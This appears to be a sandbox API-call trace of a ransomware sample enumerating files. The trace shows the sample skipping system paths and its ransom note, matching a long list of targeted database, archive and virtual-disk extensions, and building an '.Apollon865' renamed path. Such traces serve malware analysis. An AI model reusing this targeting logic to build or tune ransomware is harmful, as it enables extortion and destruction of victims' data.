	[0073.706] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0073.706] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0073.706] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0073.706] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0073.706] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0073.706] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0073.706] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0073.706] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0073.706] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0073.706] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0073.706] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0073.706] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0073.706] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0073.707] CloseHandle (hObject=0x100) returned 1
	[0073.707] CloseHandle (hObject=0xd8) returned 1
	[0073.707] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0073.707] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0073.707] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0073.707] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd0b340, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd3ea4f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1
	[0073.707] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0073.707] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="Apollon865.txt.exe") returned 1
	[0073.707] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".") returned 1
	[0073.707] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="..") returned 1
	[0073.707] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="windows") returned -1
	[0073.707] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="bootmgr") returned 1
	[0073.707] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="temp") returned 1
	[0073.707] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="pagefile.sys") returned 1
	[0073.707] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="boot") returned 1
	[0073.707] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="ids.txt") returned 1
	[0073.707] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="ntuser.dat") returned 1
	[0073.707] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="perflogs") returned 1
	[0073.707] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="MSBuild") returned 1
	[0073.707] lstrlenW (lpString="vcredist_x86.exe") returned 16
	[0073.707] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm") returned 81
	[0073.707] lstrcpyW (in: lpString1=0x119e698, lpString2="vcredist_x86.exe" | out: lpString1="vcredist_x86.exe") returned="vcredist_x86.exe"
	[0073.707] lstrlenW (lpString="vcredist_x86.exe") returned 16
	[0073.707] lstrlenW (lpString="Apollon865") returned 10
	[0073.707] lstrcmpiW (lpString1="st_x86.exe", lpString2="Apollon865") returned 1
	[0073.707] lstrlenW (lpString=".dll") returned 4
	[0073.707] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".dll") returned 1
	[0073.708] lstrlenW (lpString=".lnk") returned 4
	[0073.708] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".lnk") returned 1
	[0073.708] lstrlenW (lpString=".ini") returned 4
	[0073.708] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".ini") returned 1
	[0073.708] lstrlenW (lpString=".sys") returned 4
	[0073.708] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".sys") returned 1
	[0073.708] lstrlenW (lpString="vcredist_x86.exe") returned 16
	[0073.708] lstrlenW (lpString="bak") returned 3
	[0073.708] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1
	[0073.708] lstrlenW (lpString="ba_") returned 3
	[0073.708] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1
	[0073.708] lstrlenW (lpString="dbb") returned 3
	[0073.708] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1
	[0073.708] lstrlenW (lpString="vmdk") returned 4
	[0073.708] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1
	[0073.708] lstrlenW (lpString="rar") returned 3
	[0073.708] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1
	[0073.708] lstrlenW (lpString="zip") returned 3
	[0073.708] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1
	[0073.708] lstrlenW (lpString="tgz") returned 3
	[0073.708] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1
	[0073.708] lstrlenW (lpString="vbox") returned 4
	[0073.708] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1
	[0073.708] lstrlenW (lpString="vdi") returned 3
	[0073.708] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1
	[0073.708] lstrlenW (lpString="vhd") returned 3
	[0073.708] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1
	[0073.708] lstrlenW (lpString="vhdx") returned 4
	[0073.708] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1
	[0073.708] lstrlenW (lpString="avhd") returned 4
	[0073.708] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1
	[0073.708] lstrlenW (lpString="db") returned 2
	[0073.708] lstrcmpiW (lpString1="xe", lpString2="db") returned 1
	[0073.708] lstrlenW (lpString="db2") returned 3
	[0073.708] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1
	[0073.708] lstrlenW (lpString="db3") returned 3
	[0073.708] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1
	[0073.708] lstrlenW (lpString="dbf") returned 3
	[0073.709] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1
	[0073.709] lstrlenW (lpString="mdf") returned 3
	[0073.709] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1
	[0073.709] lstrlenW (lpString="mdb") returned 3
	[0073.709] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1
	[0073.709] lstrlenW (lpString="sql") returned 3
	[0073.709] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1
	[0073.709] lstrlenW (lpString="sqlite") returned 6
	[0073.709] lstrcmpiW (lpString1="86.exe", lpString2="sqlite") returned -1
	[0073.709] lstrlenW (lpString="sqlite3") returned 7
	[0073.709] lstrcmpiW (lpString1="x86.exe", lpString2="sqlite3") returned 1
	[0073.709] lstrlenW (lpString="sqlitedb") returned 8
	[0073.709] lstrcmpiW (lpString1="_x86.exe", lpString2="sqlitedb") returned -1
	[0073.709] lstrlenW (lpString="xml") returned 3
	[0073.709] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1
	[0073.709] lstrlenW (lpString="$er") returned 3
	[0073.709] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1
	[0073.709] lstrlenW (lpString="4dd") returned 3
	[0073.709] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1
	[0073.709] lstrlenW (lpString="4dl") returned 3
	[0073.709] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1
	[0073.709] lstrlenW (lpString="^^^") returned 3
	[0073.709] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1
	[0073.709] lstrlenW (lpString="abs") returned 3
	[0073.709] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1
	[0073.709] lstrlenW (lpString="abx") returned 3
	[0073.709] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1
	[0073.709] lstrlenW (lpString="accdb") returned 5
	[0073.709] lstrcmpiW (lpString1="6.exe", lpString2="accdb") returned -1
	[0073.709] lstrlenW (lpString="accdc") returned 5
	[0073.709] lstrcmpiW (lpString1="6.exe", lpString2="accdc") returned -1
	[0073.709] lstrlenW (lpString="accde") returned 5
	[0073.709] lstrcmpiW (lpString1="6.exe", lpString2="accde") returned -1
	[0073.709] lstrlenW (lpString="accdr") returned 5
	[0073.709] lstrcmpiW (lpString1="6.exe", lpString2="accdr") returned -1
	[0073.709] lstrlenW (lpString="accdt") returned 5
	[0073.709] lstrcmpiW (lpString1="6.exe", lpString2="accdt") returned -1
	[0073.710] lstrlenW (lpString="accdw") returned 5
	[0073.710] lstrcmpiW (lpString1="6.exe", lpString2="accdw") returned -1
	[0073.710] lstrlenW (lpString="accft") returned 5
	[0073.710] lstrcmpiW (lpString1="6.exe", lpString2="accft") returned -1
	[0073.710] lstrlenW (lpString="adb") returned 3
	[0073.710] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1
	[0073.710] lstrlenW (lpString="adb") returned 3
	[0073.710] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1
	[0073.710] lstrlenW (lpString="ade") returned 3
	[0073.710] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1
	[0073.710] lstrlenW (lpString="adf") returned 3
	[0073.710] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1
	[0073.710] lstrlenW (lpString="adn") returned 3
	[0073.710] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1
	[0073.710] lstrlenW (lpString="adp") returned 3
	[0073.710] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1
	[0073.710] lstrlenW (lpString="alf") returned 3
	[0073.710] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1
	[0073.710] lstrlenW (lpString="ask") returned 3
	[0073.710] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1
	[0073.710] lstrlenW (lpString="btr") returned 3
	[0073.710] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1
	[0073.710] lstrlenW (lpString="cat") returned 3
	[0073.710] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1
	[0073.710] lstrlenW (lpString="cdb") returned 3
	[0073.710] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1
	[0073.710] lstrlenW (lpString="ckp") returned 3
	[0073.710] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1
	[0073.710] lstrlenW (lpString="cma") returned 3
	[0073.710] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1
	[0073.710] lstrlenW (lpString="cpd") returned 3
	[0073.710] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1
	[0073.710] lstrlenW (lpString="dacpac") returned 6
	[0073.710] lstrcmpiW (lpString1="86.exe", lpString2="dacpac") returned -1
	[0073.710] lstrlenW (lpString="dad") returned 3
	[0073.710] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1
	[0073.711] lstrlenW (lpString="dadiagrams") returned 10
	[0073.711] lstrcmpiW (lpString1="st_x86.exe", lpString2="dadiagrams") returned 1
	[0073.711] lstrlenW (lpString="daschema") returned 8
	[0073.711] lstrcmpiW (lpString1="_x86.exe", lpString2="daschema") returned -1
	[0073.711] lstrlenW (lpString="db-journal") returned 10
	[0073.711] lstrcmpiW (lpString1="st_x86.exe", lpString2="db-journal") returned 1
	[0073.711] lstrlenW (lpString="db-shm") returned 6
	[0073.711] lstrcmpiW (lpString1="86.exe", lpString2="db-shm") returned -1
	[0073.711] lstrlenW (lpString="db-wal") returned 6
	[0073.711] lstrcmpiW (lpString1="86.exe", lpString2="db-wal") returned -1
	[0073.711] lstrlenW (lpString="dbc") returned 3
	[0073.711] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1
	[0073.711] lstrlenW (lpString="dbs") returned 3
	[0073.711] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1
	[0073.711] lstrlenW (lpString="dbt") returned 3
	[0073.711] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1
	[0073.711] lstrlenW (lpString="dbv") returned 3
	[0073.711] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1
	[0073.711] lstrlenW (lpString="dbx") returned 3
	[0073.711] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1
	[0073.711] lstrlenW (lpString="dcb") returned 3
	[0073.711] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1
	[0073.711] lstrlenW (lpString="dct") returned 3
	[0073.711] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1
	[0073.711] lstrlenW (lpString="dcx") returned 3
	[0073.711] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1
	[0073.711] lstrlenW (lpString="ddl") returned 3
	[0073.711] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1
	[0073.711] lstrlenW (lpString="dlis") returned 4
	[0073.711] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1
	[0073.711] lstrlenW (lpString="dp1") returned 3
	[0073.711] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1
	[0073.711] lstrlenW (lpString="dqy") returned 3
	[0073.711] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1
	[0073.711] lstrlenW (lpString="dsk") returned 3
	[0073.711] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1
	[0073.711] lstrlenW (lpString="dsn") returned 3
	[0073.711] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1
	[0073.712] lstrlenW (lpString="dtsx") returned 4
	[0073.712] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1
	[0073.712] lstrlenW (lpString="dxl") returned 3
	[0073.712] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1
	[0073.712] lstrlenW (lpString="eco") returned 3
	[0073.712] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1
	[0073.712] lstrlenW (lpString="ecx") returned 3
	[0073.712] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1
	[0073.712] lstrlenW (lpString="edb") returned 3
	[0073.712] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1
	[0073.712] lstrlenW (lpString="epim") returned 4
	[0073.712] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1
	[0073.712] lstrlenW (lpString="fcd") returned 3
	[0073.712] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1
	[0073.712] lstrlenW (lpString="fdb") returned 3
	[0073.712] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1
	[0073.712] lstrlenW (lpString="fic") returned 3
	[0073.712] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1
	[0073.712] lstrlenW (lpString="flexolibrary") returned 12
	[0073.712] lstrcmpiW (lpString1="dist_x86.exe", lpString2="flexolibrary") returned -1
	[0073.712] lstrlenW (lpString="fm5") returned 3
	[0073.712] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1
	[0073.712] lstrlenW (lpString="fmp") returned 3
	[0073.712] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1
	[0073.712] lstrlenW (lpString="fmp12") returned 5
	[0073.712] lstrcmpiW (lpString1="6.exe", lpString2="fmp12") returned -1
	[0073.712] lstrlenW (lpString="fmpsl") returned 5
	[0073.712] lstrcmpiW (lpString1="6.exe", lpString2="fmpsl") returned -1
	[0073.712] lstrlenW (lpString="fol") returned 3
	[0073.712] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1
	[0073.712] lstrlenW (lpString="fp3") returned 3
	[0073.712] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1
	[0073.712] lstrlenW (lpString="fp4") returned 3
	[0073.712] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1
	[0073.712] lstrlenW (lpString="fp5") returned 3
	[0073.712] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1
	[0073.712] lstrlenW (lpString="fp7") returned 3
	[0073.712] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1
	[0073.713] lstrlenW (lpString="fpt") returned 3
	[0073.713] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1
	[0073.713] lstrlenW (lpString="frm") returned 3
	[0073.713] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1
	[0073.713] lstrlenW (lpString="gdb") returned 3
	[0073.713] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1
	[0073.713] lstrlenW (lpString="gdb") returned 3
	[0073.713] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1
	[0073.713] lstrlenW (lpString="grdb") returned 4
	[0073.713] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1
	[0073.713] lstrlenW (lpString="gwi") returned 3
	[0073.713] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1
	[0073.713] lstrlenW (lpString="hdb") returned 3
	[0073.713] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1
	[0073.713] lstrlenW (lpString="his") returned 3
	[0073.713] lstrcmpiW (lpString1="exe", lpString2="his") returned -1
	[0073.713] lstrlenW (lpString="ib") returned 2
	[0073.713] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1
	[0073.713] lstrlenW (lpString="idb") returned 3
	[0073.713] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1
	[0073.713] lstrlenW (lpString="ihx") returned 3
	[0073.713] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1
	[0073.713] lstrlenW (lpString="itdb") returned 4
	[0073.713] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1
	[0073.713] lstrlenW (lpString="itw") returned 3
	[0073.713] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1
	[0073.713] lstrlenW (lpString="jet") returned 3
	[0073.713] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1
	[0073.713] lstrlenW (lpString="jtx") returned 3
	[0073.713] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1
	[0073.713] lstrlenW (lpString="kdb") returned 3
	[0073.713] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1
	[0073.713] lstrlenW (lpString="kexi") returned 4
	[0073.713] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1
	[0073.713] lstrlenW (lpString="kexic") returned 5
	[0073.713] lstrcmpiW (lpString1="6.exe", lpString2="kexic") returned -1
	[0073.714] lstrlenW (lpString="kexis") returned 5
	[0073.714] lstrcmpiW (lpString1="6.exe", lpString2="kexis") returned -1
	[0073.714] lstrlenW (lpString="lgc") returned 3
	[0073.714] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1
	[0073.714] lstrlenW (lpString="lwx") returned 3
	[0073.714] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1
	[0073.714] lstrlenW (lpString="maf") returned 3
	[0073.714] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1
	[0073.714] lstrlenW (lpString="maq") returned 3
	[0073.714] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1
	[0073.714] lstrlenW (lpString="mar") returned 3
	[0073.714] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1
	[0073.714] lstrlenW (lpString="marshal") returned 7
	[0073.714] lstrcmpiW (lpString1="x86.exe", lpString2="marshal") returned 1
	[0073.714] lstrlenW (lpString="mas") returned 3
	[0073.714] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1
	[0073.714] lstrlenW (lpString="mav") returned 3
	[0073.714] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1
	[0073.714] lstrlenW (lpString="maw") returned 3
	[0073.714] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1
	[0073.714] lstrlenW (lpString="mdbhtml") returned 7
	[0073.714] lstrcmpiW (lpString1="x86.exe", lpString2="mdbhtml") returned 1
	[0073.714] lstrlenW (lpString="mdn") returned 3
	[0073.714] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1
	[0073.714] lstrlenW (lpString="mdt") returned 3
	[0073.714] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1
	[0073.714] lstrlenW (lpString="mfd") returned 3
	[0073.714] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1
	[0073.714] lstrlenW (lpString="mpd") returned 3
	[0073.714] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1
	[0073.714] lstrlenW (lpString="mrg") returned 3
	[0073.714] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1
	[0073.714] lstrlenW (lpString="mud") returned 3
	[0073.714] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1
	[0073.714] lstrlenW (lpString="mwb") returned 3
	[0073.714] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1
	[0073.714] lstrlenW (lpString="myd") returned 3
	[0073.715] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1
	[0073.715] lstrlenW (lpString="ndf") returned 3
	[0073.715] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1
	[0073.715] lstrlenW (lpString="nnt") returned 3
	[0073.715] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1
	[0073.715] lstrlenW (lpString="nrmlib") returned 6
	[0073.715] lstrcmpiW (lpString1="86.exe", lpString2="nrmlib") returned -1
	[0073.715] lstrlenW (lpString="ns2") returned 3
	[0073.715] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1
	[0073.715] lstrlenW (lpString="ns3") returned 3
	[0073.715] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1
	[0073.715] lstrlenW (lpString="ns4") returned 3
	[0073.715] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1
	[0073.715] lstrlenW (lpString="nsf") returned 3
	[0073.715] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1
	[0073.715] lstrlenW (lpString="nv") returned 2
	[0073.715] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1
	[0073.715] lstrlenW (lpString="nv2") returned 3
	[0073.715] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1
	[0073.715] lstrlenW (lpString="nwdb") returned 4
	[0073.715] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1
	[0073.715] lstrlenW (lpString="nyf") returned 3
	[0073.715] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1
	[0073.715] lstrlenW (lpString="odb") returned 3
	[0073.715] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1
	[0073.715] lstrlenW (lpString="odb") returned 3
	[0073.715] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1
	[0073.715] lstrlenW (lpString="oqy") returned 3
	[0073.715] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1
	[0073.715] lstrlenW (lpString="ora") returned 3
	[0073.715] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1
	[0073.715] lstrlenW (lpString="orx") returned 3
	[0073.715] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1
	[0073.715] lstrlenW (lpString="owc") returned 3
	[0073.715] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1
	[0073.715] lstrlenW (lpString="p96") returned 3
	[0073.715] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1
	[0073.715] lstrlenW (lpString="p97") returned 3
	[0073.715] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1
	[0073.716] lstrlenW (lpString="pan") returned 3
	[0073.716] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1
	[0073.716] lstrlenW (lpString="pdb") returned 3
	[0073.716] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1
	[0073.716] lstrlenW (lpString="pdm") returned 3
	[0073.716] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1
	[0073.716] lstrlenW (lpString="pnz") returned 3
	[0073.716] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1
	[0073.716] lstrlenW (lpString="qry") returned 3
	[0073.716] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1
	[0073.716] lstrlenW (lpString="qvd") returned 3
	[0073.716] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1
	[0073.716] lstrlenW (lpString="rbf") returned 3
	[0073.716] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1
	[0073.716] lstrlenW (lpString="rctd") returned 4
	[0073.716] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1
	[0073.716] lstrlenW (lpString="rod") returned 3
	[0073.716] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1
	[0073.716] lstrlenW (lpString="rodx") returned 4
	[0073.716] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1
	[0073.716] lstrlenW (lpString="rpd") returned 3
	[0073.716] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1
	[0073.716] lstrlenW (lpString="rsd") returned 3
	[0073.716] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1
	[0073.716] lstrlenW (lpString="sas7bdat") returned 8
	[0073.716] lstrcmpiW (lpString1="_x86.exe", lpString2="sas7bdat") returned -1
	[0073.716] lstrlenW (lpString="sbf") returned 3
	[0073.716] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1
	[0073.716] lstrlenW (lpString="scx") returned 3
	[0073.716] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1
	[0073.716] lstrlenW (lpString="sdb") returned 3
	[0073.716] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1
	[0073.716] lstrlenW (lpString="sdc") returned 3
	[0073.716] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1
	[0073.716] lstrlenW (lpString="sdf") returned 3
	[0073.716] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1
	[0073.716] lstrlenW (lpString="sis") returned 3
	[0073.716] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1
	[0073.717] lstrlenW (lpString="spq") returned 3
	[0073.717] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1
	[0073.717] lstrlenW (lpString="te") returned 2
	[0073.717] lstrcmpiW (lpString1="xe", lpString2="te") returned 1
	[0073.717] lstrlenW (lpString="teacher") returned 7
	[0073.717] lstrcmpiW (lpString1="x86.exe", lpString2="teacher") returned 1
	[0073.717] lstrlenW (lpString="tmd") returned 3
	[0073.717] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1
	[0073.717] lstrlenW (lpString="tps") returned 3
	[0073.717] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1
	[0073.717] lstrlenW (lpString="trc") returned 3
	[0073.717] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1
	[0073.717] lstrlenW (lpString="trc") returned 3
	[0073.717] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1
	[0073.717] lstrlenW (lpString="trm") returned 3
	[0073.717] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1
	[0073.717] lstrlenW (lpString="udb") returned 3
	[0073.717] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1
	[0073.717] lstrlenW (lpString="udl") returned 3
	[0073.717] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1
	[0073.717] lstrlenW (lpString="usr") returned 3
	[0073.717] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1
	[0073.717] lstrlenW (lpString="v12") returned 3
	[0073.717] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1
	[0073.717] lstrlenW (lpString="vis") returned 3
	[0073.717] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1
	[0073.717] lstrlenW (lpString="vpd") returned 3
	[0073.717] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1
	[0073.717] lstrlenW (lpString="vvv") returned 3
	[0073.717] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1
	[0073.717] lstrlenW (lpString="wdb") returned 3
	[0073.717] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1
	[0073.717] lstrlenW (lpString="wmdb") returned 4
	[0073.717] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1
	[0073.717] lstrlenW (lpString="wrk") returned 3
	[0073.717] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1
	[0073.717] lstrlenW (lpString="xdb") returned 3
	[0073.718] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1
	[0073.718] lstrlenW (lpString="xld") returned 3
	[0073.718] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1
	[0073.718] lstrlenW (lpString="xmlff") returned 5
	[0073.718] lstrcmpiW (lpString1="6.exe", lpString2="xmlff") returned -1
	[0073.718] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.Apollon865") returned 99
